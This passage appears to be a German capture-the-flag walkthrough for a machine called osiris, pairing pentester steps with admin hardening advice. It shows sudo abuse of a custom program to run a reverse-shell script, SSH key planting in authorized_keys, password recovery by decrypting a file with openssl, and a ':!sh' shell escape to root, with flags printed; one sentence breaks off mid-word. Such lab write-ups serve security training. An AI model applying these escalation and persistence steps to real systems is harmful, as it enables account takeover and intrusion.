Empfehlung (Admin): `sudo`-Regeln, die es einem Benutzer erlauben, Programme als ein anderer Benutzer auszuführen, müssen sorgfältig geprüft werden. Wenn das Zielprogramm eine Möglichkeit zur Shell-Flucht oder Dateiausführung bietet, führt dies direkt zur Kompromittierung des Zielbenutzerkontos.
Matching Defaults entries for love on osiris:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User love may run the following commands on osiris:
(mitnick) NOPASSWD: /home/mitnick/sas
Analyse: Ich führe das `sas`-Programm als `mitnick` aus. Es präsentiert eine benutzerdefinierte Shell. Mit dem Befehl `sas -h` finde ich eine Liste von Befehlen, darunter einen `run
Bewertung: Der Angriff ist erfolgreich. Die `sas`-Anwendung führt mein Skript aus, und ich erhalte eine neue Shell als Benutzer `mitnick`. Im Home-Verzeichnis von `mitnick` finde ich ein SSH-Schlüsselpaar (`id_rsa`, `id_rsa.pub`).
Empfehlung (Pentester): Ich habe nun Zugriff als `mitnick`. Der nächste Schritt ist, den gefundenen privaten SSH-Schlüssel zu verwenden, um mich direkt per SSH anzumelden und eine stabilere Shell zu erhalten. Danach werde ich die Enumeration als `mitnick` fortsetzen, um den Weg zu `tomu` oder direkt zu `root` zu finden.
Empfehlung (Admin): Eine benutzerdefinierte Anwendung, die über `sudo` ausgeführt wird und einen Befehl zum Ausführen von Dateien (`run`) enthält, ist eine eklatante Sicherheitslücke. Solche Funktionen hebeln die gesamte Idee einer eingeschränkten Shell aus und ermöglichen eine vollständige Übernahme des Benutzerkontextes.
# run exploit.sh
listening on [any] 4447 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.167] 53944 id uid=1003(mitnick) gid=1003(mitnick) grupos=1003(mitnick)
Analyse: Als `mitnick` kopiere ich seinen öffentlichen Schlüssel `id_rsa.pub` in die Datei `authorized_keys`. Dadurch kann ich mich nun mit dem privaten Schlüssel `id_rsa` ohne Passwort per SSH anmelden. Ich finde eine verschlüsselte Datei `secret.enc` und einen öffentlichen Schlüssel `publickey.pub`. Mit dem Tool `openssl` und dem Wissen, dass der private Schlüssel `idpom` (aus dem Kontext erraten) lautet, entschlüssele ich die Datei und erhalte das Passwort `sh1m0mur4Bl4ckh4t`. Dies ist offensichtlich das Passwort für den Benutzer `tomu` (shimomura).
Bewertung: Durch eine Kette von Enumerationsschritten konnte ich mich von `love` zu `mitnick` und nun zu `tomu` bewegen. Ich wechsle mit `su tomu` und dem gefundenen Passwort den Benutzer und lese die User-Flag.
Empfehlung (Pentester): Der Weg zur User-Flag ist abgeschlossen. Der letzte Schritt ist die Eskalation von `tomu` zu `root`. Ich werde die `sudo`-Berechtigungen für `tomu` überprüfen.
Empfehlung (Admin): Die Wiederverwendung von Informationen und Namen in Passwörtern ist eine große Schwäche. Die Verschlüsselung von Geheimnissen ist gut, aber wenn der Schlüssel (`idpom`) leicht zu erraten ist oder in der Nähe liegt, ist die Sicherheit dahin. Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt sein.
Contraseña: sh1m0mur4Bl4ckh4t tomu@osiris:/home/mitnick/.ssh$ cat ~/user.txt 612701a03669485d94bc687449fdab39
Analyse: Als Benutzer `tomu` zeigt `sudo -l`, dass ich das Programm `/opt/Contempt/Contempt` als `root` ohne Passwort ausführen darf. Ich starte das Programm.
Bewertung: Dies ist der finale Schritt. Ein benutzerdefiniertes Programm, das als `root` ausgeführt werden kann, ist der wahrscheinlichste Vektor. Das Programm `Contempt` scheint eine Art Menü zu sein. Nach der Analyse der Programmoptionen (oder durch Ausprobieren) stelle ich fest, dass ich durch Drücken von `esc` und Eingabe von `:!sh` eine Shell spawnen kann. Dies ist ein klassischer "Shell-Escape"-Trick, der oft in textbasierten Editoren wie `vi` oder Programmen, die auf dessen Komponenten basieren, funktioniert.
Empfehlung (Pentester): Führe den Shell-Escape durch, um eine Root-Shell zu erhalten und die finale Flag zu erbeuten.
Empfehlung (Admin): Einem Benutzer `sudo`-Rechte für ein Programm zu geben, das Shell-Escapes erlaubt, ist gleichbedeutend mit der Vergabe von vollen `root`-Rechten. Alle Programme, die über `sudo` zugänglich gemacht werden, müssen sorgfältig darauf geprüft werden, ob sie solche Fluchtmöglichkeiten bieten. Wenn möglich, sollten `sudo`-Regeln so restriktiv wie möglich sein und nur die Ausführung mit bestimmten, nicht veränderbaren Parametern erlauben.
:!sh # id uid=0(root) gid=0(root) grupos=0(root) # cd ~ # cat root.sh ... flag --> 1e271c5ce97e76ae8417a95c74085fba #